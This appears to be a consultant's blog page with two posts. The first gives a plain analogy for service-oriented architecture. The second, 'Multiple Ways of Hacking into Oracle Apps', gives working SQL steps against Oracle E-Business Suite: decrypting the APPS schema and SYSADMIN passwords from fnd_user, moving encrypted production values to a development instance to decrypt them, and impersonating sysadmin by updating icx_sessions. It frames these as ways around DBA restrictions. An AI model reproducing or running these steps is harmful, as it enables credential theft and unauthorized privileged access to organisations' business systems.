SOA - A Non Technical Perspective

Talks About: From a human business analogy.


SOA aka Serice Oriented Architecture is nither Oracle Specific architecture nor evolved from software business. Oracle is just another vendor providing SOA products and Software business is just another business where SOA style is adopted.

SOA is in today's businesses. And infact software SOA is to good extent, result of business SOA. 

Analogy:

Suppose I have a steel utensils manufacturing company and I need to put  paper labels on the utensils. So do you think I gonna open a facility or factory which should generate paper lables? I may go to market look for some one who produces paper lables and give him order to generate paper lables for my company.

Now bring down the whole scenario to IT department of company (A specialized version of above scenario).

My steel utensils manufacturing company's IT department has implemented oracle apps...nice. But they have suppliers too (Like wholesale customers who can inquiry what are the new products from my factory, their account's with my factory).

Now for a moment, think of it in our Indian context. Lots on non standard business processes and so like non standard communication approaches. Please don't put question like "Are you thinking software communication in India from whole sellers? Yes they are....when you go to any mobile recharge shop, if you see that the person is putting balance in your mobile via some computer software, they are using SOA softwaressssssssssss...

 

Anyways...For my wholesellers's I may choose to put a automated software service desk, but the lady sitting there is not a human, but a software process which I call "web service". Whole sellers can ask this service desks "which services do you provide". They give the wholesellers a whopping list of services like we provide details about new utensils, your history of communication with our service desk, you can put your orders via us, cancel orders...alot such. I call this list  of services visdal (wsdl to more specific..).

Now whole seller can choose the service desk to put an order. Techy guys call it web service invocation or something like that.

In this whole layman talks, don't forget the mode of calling. Whole seller may call via mobile, basic phone, may email, may do a messenger ping. These all (mobile, basic phone, email,messengers) are the SOA client tools which are being used to communicate with service desk.

The language they use is hindi. The language softwares use is "SOAP"

Thats it.

 Contact me at :  This email address is being protected from spambots. You need JavaScript enabled to view it.

 

 

 

Multiple Ways of Hacking into Oracle Apps

(Though most information may be available on internet (except the few last tricks), it's a practical scenario based explanation). These tricks mixed with social engineering can lend a technical consultant access of uers's public accounts like Gmail etc. too. I had faced some issue from client that iRecruitment offers are not being received by the applicants. After diagnosing, my reply was that the offer emails are most probably lending to their spam folders.Allah best knows.


(I guess mostly support teams need these kind of tricks.). Allah best knows. Request is to use it only for constructive purposes.

 
(The package code "get_pwd_x" used for this purpose, can be found on itnernet at many places, here(Shailender's blog) etc. also, you can download it as this zip file here directly)

A .Getting passwords of the users of development instance. 

....Where you have full access to DB etc.

 
 
1. First get the encrypted foundation password for user 'GUEST'

select ENCRYPTED_FOUNDATION_PASSWORD from fnd_user where user_name='GUEST'

 ---Suppose the result of the above query is  "7E0F593AB3A582A9333805E6712A1C15B0A54922665998306D080885A24CE20F"  (This is actually encrypted value of  password as "APPS")
 
2. Now, get the apps schema password using below query.
 
SELECT get_pwd_x.decrypt
                              (fnd_web_sec.get_guest_username_pwd,
                               '7E0F593AB3A582A9333805E6712A1C15B0A54922665998306D080885A24CE20F'
                              ) AS apps_password from dual
--Result of the above query is "APPS" in above case.  So the password for apps schema deciphered for above values is "APPS".
 
3. Now get the user password using below query.
 
SELECT DISTINCT (usr.user_name),
                get_pwd_x.decrypt ('APPS',  --Its the apps schema password we deciphered using above queries.
                                   usr.encrypted_user_password
                                  ) PASSWORD
           FROM fnd_user usr
          WHERE UPPER (usr.user_name) IN UPPER ('SYSADMIN')
 
-- Above query would give you password of sysadmin InshaAllah.
 
B .Getting APPS schema password and Other application user passwords from PRODUCTION!!. 
Now this all was from development. You can do above tasks easily as you have about full access. You can create the package by yourself.
   However, In production you may not be allowed to create that package by DBA. How to get password from production?
 
 Solution : Usually, they provide read only access to apps schema, to support teams. All we need is to get access to fnd_user table in production. We will InshaAllah get the encrypted password from production and decrypt it in development instance. Here are the steps.
 
1. First get the encrypted foundation password for user 'GUEST' (In production)
 
select ENCRYPTED_FOUNDATION_PASSWORD from fnd_user where user_name='GUEST'
 ---For password as "APPS", the result of the above query is  "7E0F593AB3A582A9333805E6712A1C15B0A54922665998306D080885A24CE20F"
 
2. Now you execute below query in your development instance and you get password for apps schema of production!!!(Cheatingggg!!!!...kidding..)
 
SELECT get_pwd_x.decrypt
                              (fnd_web_sec.get_guest_username_pwd,
                               '7E0F593AB3A582A9333805E6712A1C15B0A54922665998306D080885A24CE20F'   --This value is the value which you fetched from production in above query.
                              ) AS apps_password from dual
--Result of the above query is "APPS" (password also is APPS) in above case. Here we got the Production APPS schema password!
 
3. Get the encrypted user password of the user from production, whose password you want to decrypt. Lets get for user name sysadmin.
 
 select encrypted_user_password from fnd_user where user_name='SYSADMIN'   
 --Result of the above "ZHC6546DCFA14D6888D3F0FAC559C9B1409F86CB86004B4FD0D5C17C9B89E3C9990CFB3C84EAC7067CAAAB3596692618D66A"
 
4. Now run the below query in development instance to get the production password of sysadmin user name
 
 
SELECT DISTINCT (usr.user_name),
                get_pwd_x.decrypt ('APPS',
                                   'ZHC6546DCFA14D6888D3F0FAC559C9B1409F86CB86004B4FD0D5C17C9B89E3C9990CFB3C84EAC7067CAAAB3596692618D66A'-- encrypted_user_password from above query from production
                                  ) PASSWORD
           FROM fnd_user usr
          WHERE UPPER (usr.user_name) IN UPPER ('SYSADMIN')
 
Quite cool. You get all the passwords from development instances, production instances..apps schema passwords..user passwords. However, there is way to let you stop from deciphering the passwords. There is some utility called CPASS which is suggested by oracle to salt the passwords. In other words, once CPASSS run on encrypted passwords, you wouldn't be able to decipher them. You can identify if the passwords are salted by looking at the encrypted passwords. Usually all the passwords would be having same pattern of letters with {XHZ} or {SHA} ( I think... as best I remember)
 
So here is the next story. Suppose your DBA salted the passwords in both production and development instances and you are unable to decipher the passwords. And now you want to login with other person's user name (Suppose sysadmin) in development and your management and DBA has restricted password change in development ..too much.

C .Breaking into development instances when passwords are Salted. 

Solution : Here  comes the trick InshaAllah. (I call this trick as "impersonalization"). In this trick we wouldn't be deciphering any passwords, but would try to make Oracle's authentication system fool in believing that we are the person which we want it to believe. Didn't get?  Here is the way to login as sysadmin.
1. Login to the instance using any user name (Suppose 'USER_XYZ'). Do not select any responsibility. Just login and leave it there on home page
 
2. Get the current session id for above login. This you can in multiple ways. Here are two.
      First Way..
   a. Click Diagnostics link. (On top right of the page)
   b. From Diagnostic drop down, select the option "Show log on screen". And select log level as "Statement (1)"
   c. Click Go button (You may notice InshaAllah that screen loggin is enabled now.)
   d. Click home.
   e. Search in the screen (Ctrl +F) the term  "_oaIcxSessD" (Without quotes).
   f. The value associated with this term is your session id.
      Second way...
    This is based on theory of probability that you are the latesT person to login with the above user name. Hence just select the latest session id associated with above user name using below query.
 
 
select session_id from ( select session_id from icx_sessions where user_id=(select user_id from fnd_user where user_name='USER_XYZ')order by first_connect desc ) where rownum=1   
     
     --Replace the user name 'USER_XYZ' in above query with the user name with which you logged in.Suppose the session id retrieved in using above methods is "5342562364"
 
3. Update the ICX_SESSIONS table to associate this session with the user id you want to login with. To login with sysadmin (user_id=0)...
 
 
 
update icx_sessions set user_id=0 where session_id=5342562364
    commit;
 
    
 
4. Refresh the screen in your browser (F5).
5. Logged in as new user. (In above case, as sysadmin).
 
Cool. Using this approach, you can impersonate other users, very simply. However, this is again for development instances, where client doesn't provide you sysadmin access to even development instances. Here DBAs are almost left defeated, as in development, they have to provide you apps schema access and it doesn't sound practical that they may revoke ICX_SESSIONS update access from apps schema, cause that may stop logging even from front end or even may crash the instance.
 

D .Breaking into Production instances when passwords are Salted. 
So you won many battles on fronts of development and production instances. You almost conquered development completely from DBAs. What about the last front on production? 
(Just a hint, recently I got email from Oracle about a security bugs  which logs the user passwrds in fnd debug log table when user logs in (Provided fnd logging is enabled). Try to search metalink, may you find..).
Looking for more options to break in production? Why? Smiling..